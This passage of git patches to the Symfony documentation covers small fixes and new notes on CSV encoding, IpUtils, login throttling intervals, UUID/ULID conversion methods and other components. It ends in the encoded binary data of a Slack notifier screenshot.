+``csv_end_of_line``     Sets the character(s) used to mark the end of each     ``\n``
+                        line in the CSV file
 ``csv_escape_char``     Sets the escape character (at most one character)      empty string
 ``csv_key_separator``   Sets the separator for array's keys during its         ``.``
                         flattening
@@ -1000,6 +1002,10 @@ Option                  Description                                            D
 ``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data   ``false``
 ======================= =====================================================  ==========================
 
+.. versionadded:: 5.3
+
+    The ``csv_end_of_line`` option was introduced in Symfony 5.3.
+
 The ``XmlEncoder``
 ~~~~~~~~~~~~~~~~~~
 

From 60d3a1b335040c55dbaa7e2db485e15515ef8766 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 11 Apr 2021 13:12:35 +0200
Subject: [PATCH 0686/5766] [HttpFoundation] Fix IpUtils example

This PR fixes a small bug in the IpUtils class name.
---
 components/http_foundation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 449d29ea0f0..cbb1742dad1 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -331,11 +331,11 @@ analysis purposes. Use the ``anonymize()`` method from the
     use Symfony\Component\HttpFoundation\IpUtils;
 
     $ipv4 = '123.234.235.236';
-    $anonymousIpv4 = IPUtils::anonymize($ipv4);
+    $anonymousIpv4 = IpUtils::anonymize($ipv4);
     // $anonymousIpv4 = '123.234.235.0'
 
     $ipv6 = '2a01:198:603:10:396e:4789:8e99:890f';
-    $anonymousIpv6 = IPUtils::anonymize($ipv6);
+    $anonymousIpv6 = IpUtils::anonymize($ipv6);
     // $anonymousIpv6 = '2a01:198:603:10::'
 
 Accessing other Data

From 2a39702c83eb46fc496f487bb1955639a737a119 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 11 Apr 2021 13:23:04 +0200
Subject: [PATCH 0687/5766] [HttpFoundation] Minor fixes

---
 components/http_foundation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 3699eb17258..410fcd2272a 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -190,7 +190,7 @@ Finally, the raw data sent with the request body can be accessed using
 
     $content = $request->getContent();
 
-For instance, this may be useful to process a XML string sent to the
+For instance, this may be useful to process an XML string sent to the
 application by a remote service using the HTTP POST method.
 
 If the request body is a JSON string, it can be accessed using
@@ -519,7 +519,7 @@ call::
         's_maxage'         => 600,
         'immutable'        => true,
         'last_modified'    => new \DateTime(),
-        'etag'             => 'abcdef'
+        'etag'             => 'abcdef',
     ]);
 
 .. versionadded:: 5.1

From cc800ddfb486ff60d8ea2a8cf603f9657821f5ea Mon Sep 17 00:00:00 2001
From: Martin Bens <martin.bens@uni-bayreuth.de>
Date: Mon, 12 Apr 2021 01:18:39 +0200
Subject: [PATCH 0688/5766] Tip added to explain how to use HttpClient options
 in BrowserKit requests.

---
 components/browser_kit.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 76c0e33d5e1..764e42e0e2b 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -317,6 +317,12 @@ dedicated web crawler or scraper such as `Goutte`_::
         '.table-list-header-toggle a:nth-child(1)'
     )->text());
 
+.. tip::
+
+    You can also use HTTP client options like 'ciphers', 'auth_basic' and 'query'.
+    They have to be passed as the default options argument to the client, 
+    which is used by the HTTP browser.
+
 .. versionadded:: 4.3
 
     The feature to make external HTTP requests was introduced in Symfony 4.3.

From a9890170c674d9be585c043ab628913eac1cbd28 Mon Sep 17 00:00:00 2001
From: Anatoly Pashin <anatoly.pashin@gmail.com>
Date: Mon, 12 Apr 2021 16:48:28 +1000
Subject: [PATCH 0689/5766] [Runtime] Fix typo

---
 components/runtime.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 75c84b0fe17..2bdad2e38f5 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -142,7 +142,7 @@ The following arguments are supported by the ``SymfonyRuntime``:
     ``Command::setCode()``).
 
 And these arguments are supported by both the ``SymfonyRuntime`` and
-``GenerGenericRuntime`` (both type and variable name are important):
+``GenericRuntime`` (both type and variable name are important):
 
 ``array $context``
     This is the same as ``$_SERVER`` + ``$_ENV``.

From 24c07cc105ebc887db74e92b654057a3b165a56f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Apr 2021 10:57:10 +0200
Subject: [PATCH 0690/5766] [Security] Document the login_throttling.interval
 option

---
 security.rst | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/security.rst b/security.rst
index 3b1c81f8b20..13153307ad1 100644
--- a/security.rst
+++ b/security.rst
@@ -500,6 +500,11 @@ You must enable this using the ``login_throttling`` setting:
                     login_throttling:
                         max_attempts: 3
 
+                    # configure the maximum login attempts in a custom period of time
+                    login_throttling:
+                        max_attempts: 3
+                        interval: '15 minutes'
+
                     # use a custom rate limiter via its service ID
                     login_throttling:
                         limiter: app.my_login_rate_limiter
@@ -526,6 +531,9 @@ You must enable this using the ``login_throttling`` setting:
                     <!-- configure the maximum login attempts (per minute) -->
                     <login-throttling max-attempts="3"/>
 
+                    <!-- configure the maximum login attempts in a custom period of time -->
+                    <login-throttling max-attempts="3" interval="15 minutes"/>
+
                     <!-- use a custom rate limiter via its service ID -->
                     <login-throttling limiter="app.my_login_rate_limiter"/>
                 </firewall>
@@ -550,6 +558,12 @@ You must enable this using the ``login_throttling`` setting:
                         'max_attempts' => 3,
                     ],
 
+                    // configure the maximum login attempts in a custom period of time
+                    'login_throttling' => [
+                        'max_attempts' => 3,
+                        'interval' => '15 minutes',
+                    ],
+
                     // use a custom rate limiter via its service ID
                     'login_throttling' => [
                         'limiter' => 'app.my_login_rate_limiter',
@@ -558,6 +572,10 @@ You must enable this using the ``login_throttling`` setting:
             ],
         ]);
 
+.. versionadded:: 5.3
+
+    The ``login_throttling.interval`` option was introduced in Symfony 5.3.
+
 By default, login attempts are limited on ``max_attempts`` (default: 5)
 failed requests for ``IP address + username`` and ``5 * max_attempts``
 failed requests for ``IP address``. The second limit protects against an

From 98b620676a23275b4bb12823398bab2fa1a8b9a4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Apr 2021 13:05:33 +0200
Subject: [PATCH 0691/5766] [Uid] Document the ::from() methods for UUIDs and
 ULIDs

---
 components/uid.rst | 40 ++++++++++++++++++++++++++++------------
 1 file changed, 28 insertions(+), 12 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 1bf66021fe1..b262768195a 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -71,12 +71,20 @@ to create each type of UUID::
 
     The ``Uuid::NAMESPACE_*`` constants were introduced in Symfony 5.3.
 
-If your UUID is generated by another system, use the ``fromString()`` method to
-create an object and make use of the utilities available for Symfony UUIDs::
+If your UUID value is already generated in another format, use any of the
+following methods to create a ``Uuid`` object from it::
 
-    // this value is generated somewhere else (can also be in binary format)
-    $uuidValue = 'd9e7a184-5d5b-11ea-a62a-3499710062d0';
-    $uuid = Uuid::fromString($uuidValue);
+    // all the following examples would generate the same Uuid object
+    $uuid = Uuid::fromString('d9e7a184-5d5b-11ea-a62a-3499710062d0');
+    $uuid = Uuid::fromBinary("\xd9\xe7\xa1\x84\x5d\x5b\x11\xea\xa6\x2a\x34\x99\x71\x00\x62\xd0");
+    $uuid = Uuid::fromBase32('6SWYGR8QAV27NACAHMK5RG0RPG');
+    $uuid = Uuid::fromBase58('TuetYWNHhmuSQ3xPoVLv9M');
+    $uuid = Uuid::fromRfc4122('d9e7a184-5d5b-11ea-a62a-3499710062d0');
+
+.. versionadded:: 5.3
+
+    The ``fromBinary()``, ``fromBase32()``, ``fromBase58()`` and ``fromRfc4122()``
+    methods were introduced in Symfony 5.3.
 
 Converting UUIDs
 ~~~~~~~~~~~~~~~~
@@ -85,7 +93,7 @@ Use these methods to transform the UUID object into different bases::
 
     $uuid = Uuid::fromString('d9e7a184-5d5b-11ea-a62a-3499710062d0');
 
-    $uuid->toBinary();  // string(16) "..." (binary contents can't be printed)
+    $uuid->toBinary();  // string(16) "\xd9\xe7\xa1\x84\x5d\x5b\x11\xea\xa6\x2a\x34\x99\x71\x00\x62\xd0"
     $uuid->toBase32();  // string(26) "6SWYGR8QAV27NACAHMK5RG0RPG"
     $uuid->toBase58();  // string(22) "TuetYWNHhmuSQ3xPoVLv9M"
     $uuid->toRfc4122(); // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0"
@@ -238,12 +246,20 @@ Instantiate the ``Ulid`` class to generate a random ULID value::
 
     $ulid = new Ulid();  // e.g. 01AN4Z07BY79KA1307SR9X4MV3
 
-If your ULID is generated by another system, use the ``fromString()`` method to
-create an object and make use of the utilities available for Symfony ULIDs::
+If your ULID value is already generated in another format, use any of the
+following methods to create a ``Ulid`` object from it::
+
+    // all the following examples would generate the same Ulid object
+    $ulid = Ulid::fromString('01E439TP9XJZ9RPFH3T1PYBCR8');
+    $ulid = Ulid::fromBinary("\x01\x71\x06\x9d\x59\x3d\x97\xd3\x8b\x3e\x23\xd0\x6d\xe5\xb3\x08");
+    $ulid = Ulid::fromBase32('01E439TP9XJZ9RPFH3T1PYBCR8');
+    $ulid = Ulid::fromBase58('1BKocMc5BnrVcuq2ti4Eqm');
+    $ulid = Ulid::fromRfc4122('0171069d-593d-97d3-8b3e-23d06de5b308');
+
+.. versionadded:: 5.3
 
-    // this value is generated somewhere else (can also be in binary format)
-    $ulidValue = '01E439TP9XJZ9RPFH3T1PYBCR8';
-    $ulid = Ulid::fromString($ulidValue);
+    The ``fromBinary()``, ``fromBase32()``, ``fromBase58()`` and ``fromRfc4122()``
+    methods were introduced in Symfony 5.3.
 
 Converting ULIDs
 ~~~~~~~~~~~~~~~~
@@ -252,7 +268,7 @@ Use these methods to transform the ULID object into different bases::
 
     $ulid = Ulid::fromString('01E439TP9XJZ9RPFH3T1PYBCR8');
 
-    $ulid->toBinary();  // string(16) "..." (binary contents can't be printed)
+    $ulid->toBinary();  // string(16) "\x01\x71\x06\x9d\x59\x3d\x97\xd3\x8b\x3e\x23\xd0\x6d\xe5\xb3\x08"
     $ulid->toBase32();  // string(26) "01E439TP9XJZ9RPFH3T1PYBCR8"
     $ulid->toBase58();  // string(22) "1BKocMc5BnrVcuq2ti4Eqm"
     $ulid->toRfc4122(); // string(36) "0171069d-593d-97d3-8b3e-23d06de5b308"

From 8daccd39555d4db035625b0c4e25f55059efb929 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Apr 2021 16:52:54 +0200
Subject: [PATCH 0692/5766] [HttpFoundation] Document the unix_socket and
 charset options for MySQL PdoSessionHandler

---
 session/database.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/session/database.rst b/session/database.rst
index 01c663911e1..dffed5562e7 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -234,6 +234,16 @@ first register a new handler service with your database credentials:
             ;
         };
 
+.. tip::
+
+    When using MySQL as the database, the DSN defined in ``DATABASE_URL`` can
+    contain the ``charset`` and ``unix_socket`` options as query string parameters.
+
+    .. versionadded:: 5.3
+
+        The support for ``charset`` and ``unix_socket`` options was introduced
+        in Symfony 5.3.
+
 Next, use the :ref:`handler_id <config-framework-session-handler-id>`
 configuration option to tell Symfony to use this service as the session handler:
 

From 12b0cfc4d6f9e3d47fa4a7046f4b8941107954ff Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Apr 2021 11:13:06 +0200
Subject: [PATCH 0693/5766] [DomCrawler] Clarify the ways to add contents

---
 components/dom_crawler.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 1363d977a3a..b1dda3d42f7 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -292,7 +292,9 @@ context of the crawler::
 Adding the Content
 ~~~~~~~~~~~~~~~~~~
 
-The crawler supports multiple ways of adding the content::
+The crawler supports multiple ways of adding the content, but they are mutually
+exclusive, so you can only use one of them to add content (e.g. if you pass the
+content to the ``Crawler`` constructor, you can't call ``addContent()`` later)::
 
     $crawler = new Crawler('<html><body/></html>');
 

From 0354465e71fd3b72c649f68d2a3f40b8ad0bc162 Mon Sep 17 00:00:00 2001
From: Linus Karlsson <linus@zozs.se>
Date: Mon, 12 Apr 2021 10:59:28 +0200
Subject: [PATCH 0694/5766] Update table in lock component

---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 4200adcd817..dfb3962464c 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -357,7 +357,7 @@ Store                                         Scope   Blocking  Expiring Sharing
 :ref:`MemcachedStore <lock-store-memcached>`  remote  no        yes      no
 :ref:`MongoDbStore <lock-store-mongodb>`      remote  no        yes      no
 :ref:`PdoStore <lock-store-pdo>`              remote  no        yes      no
-:ref:`PostgreSqlStore <lock-store-pgsql>`     remote  yes       yes      yes
+:ref:`PostgreSqlStore <lock-store-pgsql>`     remote  yes       no       yes
 :ref:`RedisStore <lock-store-redis>`          remote  no        yes      yes
 :ref:`SemaphoreStore <lock-store-semaphore>`  local   yes       no       no
 :ref:`ZookeeperStore <lock-store-zookeeper>`  remote  no        no       no

From a7cf4b344ddf31729e6b310848317d4cd8d15685 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 12 Apr 2021 13:20:30 +0200
Subject: [PATCH 0695/5766] Updated link to v5.2 version

---
 configuration/dot-env-changes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/dot-env-changes.rst b/configuration/dot-env-changes.rst
index bed01ea766a..6679600e908 100644
--- a/configuration/dot-env-changes.rst
+++ b/configuration/dot-env-changes.rst
@@ -85,7 +85,7 @@ changes can be made to any Symfony 3.4 or higher app:
    and update your `phpunit.xml.dist file`_ so it loads the ``tests/bootstrap.php``
    file.
 
-.. _`public/index.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.1/public/index.php
+.. _`public/index.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.2/public/index.php
 .. _`bin/console`: https://github.com/symfony/recipes/blob/master/symfony/console/5.1/bin/console
 .. _`comment on the top of .env`: https://github.com/symfony/recipes/blob/master/symfony/flex/1.0/.env
 .. _`create a new .env.test`: https://github.com/symfony/recipes/blob/master/symfony/phpunit-bridge/3.3/.env.test

From f0853efdf4a695e53e924aada965b5879b5c72c8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 12 Apr 2021 13:43:33 +0200
Subject: [PATCH 0696/5766] Fixed RST syntax issue

---
 security/login_link.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index d3c7b0e4c23..456cfc706c6 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -661,7 +661,7 @@ Customizing the Success Handler
 Sometimes, the default success handling does not fit your use-case (e.g.
 when you need to generate and return an API key). To customize how the
 success handler behaves, create your own
-:class:`Symfony\Component\Security\Http\Authentication\AuthenticationSuccessHandlerInterface`::
+:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`::
 
     // src/Security/Authentication/AuthenticationSuccessHandler.php
     namespace App\Security\Authentication;

From d39b47767c9f8085e3e199f8d88f87d104fe7ad0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 7 Apr 2021 15:18:01 +0200
Subject: [PATCH 0697/5766] Docs for Slack options field() method

Closes #13398
---
 _images/notifier/slack/field-method.png | Bin 0 -> 17302 bytes
 notifier/chatters.rst                   |  38 ++++++++++++++++++++++++
 2 files changed, 38 insertions(+)
 create mode 100644 _images/notifier/slack/field-method.png

diff --git a/_images/notifier/slack/field-method.png b/_images/notifier/slack/field-method.png
new file mode 100644
index 0000000000000000000000000000000000000000..d77a60e6a2e920910686cfd06702d68360050bf6
GIT binary patch
literal 17302
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
